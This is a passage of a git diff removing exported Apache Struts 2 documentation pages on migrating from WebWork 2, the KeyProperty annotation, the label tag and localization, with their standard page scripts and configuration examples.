-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Key Changes From WebWork 2</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="key-changes-from-webwork-2.html">Key Changes From WebWork 2</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Key Changes From WebWork 2</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26950">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26950">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26950">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26950">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26950">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26950">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The upgrade path from WebWork 2 to Struts 2 is smooth glide. Here's the roadmap.</p>
-
-<h3 id="KeyChangesFromWebWork2-SystemPlatform">System Platform</h3>
-
-<ul><li>Struts 2 is dependant on XWork 2 (beta-1).</li><li>Java 1.5 is required to build Struts 2.
-	<ul><li>For Java 1.4 deployments, RetroTranslater JARS are available with the distribution.</li></ul>
-	</li></ul>
-
-
-<p>For other changes from WebWork 2, see the "Members to rename", "New property settings", "New features or feature changes", and "Removed or deprecated" sections.</p>
-
-<h4 id="KeyChangesFromWebWork2-Memberstorename">Members to rename </h4>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>WebWork 2                  </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Struts 2             </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p><code>com.opensymphony.xwork.*</code>  </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> <code>com.opensymphony.xwork2.*</code> </p></td></tr><tr><td colspan="1" rowspan="1" class="c [...]
-
-
-<p>The tag prefix conventions in the example applications have changed. </p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>JSP        </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> s: </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> <em>&lt;s:form ...&gt;</em> </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Freemarker </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> s. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>  [...]
-
-
-<h4 id="KeyChangesFromWebWork2-Newpropertysettings">New property settings </h4>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>struts.enable.DynamicMethodInvocation </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Enable support for the hardwired <code>action!alias</code> syntax (Default is <code>TRUE</code>)</p></td></tr></tbody></table></div>
-
-
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>It is recommended that all applications specify the DynamicMethodInvocation setting for now, since the default may change. The recommended approach to action aliasing is to use <a shape="rect" href="action-configuration.html">wildcard aliases</a> instead of the hardw [...]
-
-<h4 id="KeyChangesFromWebWork2-Newfeaturesandfeaturechanges">New features and feature changes</h4>
-
-<ul><li>Various changes to ConfigurationManager
-	<ul><li>ConfigurationManager is no longer a static factory. It is now an instance created through Dispatcher. Custom configuration could be done through DispatcherListener.</li><li>Custom configuration to ConfigurationManager and Configuration cannot be done statically anymore, instead use Dispatcher's DispatcherListener to achieve the same effect.</li></ul>
-	</li><li>The <code>prepare</code> interceptor now uses reflection to call prepare_Method_ where <em>method</em> is the action method configured for the particular action in <code>struts.xml</code>.
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-   &lt;action name="myAction" method="insert" ....&gt;
-     .....
-   &lt;/action&gt;
-
-   // with the above configuration, and PrepareInterceptor in play, 
-   // callsequence will be 
-   1] prepareInsert() (If it exists)
-   2] prepare() (Unless Interceptor's alwaysInvokePrepare parameter is set to false)
-   3] insert()
-</pre>
-</div></div></li><li>DefaultWorkflowInterceptor (named <code>workflow</code> in <code>struts-default.xml</code>) now uses reflection to call <code>validateMethod</code> on the action class that implements Validateable interface where <code>method</code> is the action method configured for the particular action in <code>struts.xml</code>.
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="myAction" method="insert" ...&gt;
-       ...
-    &lt;/action&gt;
-
-    // with the above configuration, and DefaultWorkflowInterceptor in play, 
-    // call sequence for action that implements Validateable interface will be 
-    1] validateInsert()
-    2] validate() (unless Interceptor's alwaysInvokeValidate parameter is set to false)
-    3] insert()
-</pre>
-</div></div></li><li>The tooltip library used by the xhtml theme was replaced by <a shape="rect" class="external-link" href="http://dojotoolkit.org" rel="nofollow">Dojo's</a> tooltip component.</li><li>Datepicker tag has been renamed to datetimepicker and is now using dojo (limited in terms functionality and internationalization)</li><li><a shape="rect" href="https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=33348">Tiles integration</a> plugin is available.</li><li><a shap [...]
-
-
-<h4 id="KeyChangesFromWebWork2-Removedordeprecated">Removed or deprecated</h4>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>AroundInterceptor</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> The AroundInterceptor has been removed. If your application extends the AroundInterceptor, either import the class into your source code form WebWork 2 (pursuant to the Open Symphony License) and modify it to server as your own base class, or rewrite your interceptor. </p></td></tr><tr><th cols [...]
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-  &lt;action name="..." method="submit"&gt;
-    ...
-  &lt;/action&gt;
-</pre>
-</div></div>
-<p>In WebWork,</p>
-<ul><li>try to execute <code>submit</code> method in the action, <em>fail</em></li><li>try to execute <code>doSubmit</code> method in the action if Step 1, <em>fail</em></li><li><em>fail</em><br clear="none">
-In Struts,</li><li>try to execute <code>submit</code> method in the action, <em>fail</em></li><li><em>fail</em></li></ul>
-</td></tr><tr><td></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> <code>default method</code> </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Calling the "default" method via "doDefault" is not supported.  </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> IOC framework </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Deprecated in WebWork 2.2, the internal IOC framework is removed in Struts 2. Spring is the <a shape="rect [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/keyproperty-annotation.html b/content/docs/keyproperty-annotation.html
deleted file mode 100644
index 302a66b..0000000
--- a/content/docs/keyproperty-annotation.html
+++ /dev/null
@@ -1,171 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>KeyProperty Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="keyproperty-annotation.html">KeyProperty Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">KeyProperty Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14144">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14144">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14144">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14144">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14144">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14144">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Sets the KeyProperty for type conversion.</p>
-
-<h2 id="KeyPropertyAnnotation-Usage">Usage</h2>
-
-<p></p><p>The KeyProperty annotation must be applied at field or method level.</p>
-<p>This annotation should be used with Generic types, if the key property of the key element needs to be specified.</p>
-
-<h2 id="KeyPropertyAnnotation-Parameters">Parameters</h2>
-
-<p><table summary=""><thead><tr><th colspan="1" rowspan="1">Parameter</th><th colspan="1" rowspan="1">Required</th><th colspan="1" rowspan="1">Default</th><th colspan="1" rowspan="1">Description</th></tr></thead><tbody><tr><td colspan="1" rowspan="1">value</td><td colspan="1" rowspan="1">no</td><td colspan="1" rowspan="1">id</td><td colspan="1" rowspan="1">The key property value.</td></tr></tbody></table></p>
-
-<h2 id="KeyPropertyAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-// The key property for User objects within the users collection is the &lt;code&gt;userName&lt;/code&gt; attribute.
-@KeyProperty( value = &quot;userName&quot; )
-protected List&lt;User&gt; users = null;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/label.html b/content/docs/label.html
deleted file mode 100644
index 17dbd42..0000000
--- a/content/docs/label.html
+++ /dev/null
@@ -1,176 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>label</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="label.html">label</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">label</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14167">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14167">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14167">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14167">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14167">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14167">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="label-Description">Description</h2>
-
-<p></p><p>Renders an HTML LABEL that will allow you to output label:name combination that has the same format treatment as
-the rest of your UI controls.</p>
-
-<h2 id="label-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> true</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rowsp [...]
-
-<h2 id="label-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:label key=&quot;userName&quot; /&gt;
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: plain; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;p&gt;In this example, a label is rendered. The label is retrieved from a ResourceBundle via the key attribute
-giving you an output of &#39;User Name: Ford.Prefect&#39;. Assuming that i18n message userName corresponds
-to &#39;User Name&#39; and the action&#39;s getUserName() method returns &#39;Ford.Prefect&#39;&lt;/p&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/localization.html b/content/docs/localization.html
deleted file mode 100644
index ee8388f..0000000
--- a/content/docs/localization.html
+++ /dev/null
@@ -1,146 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Localization</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
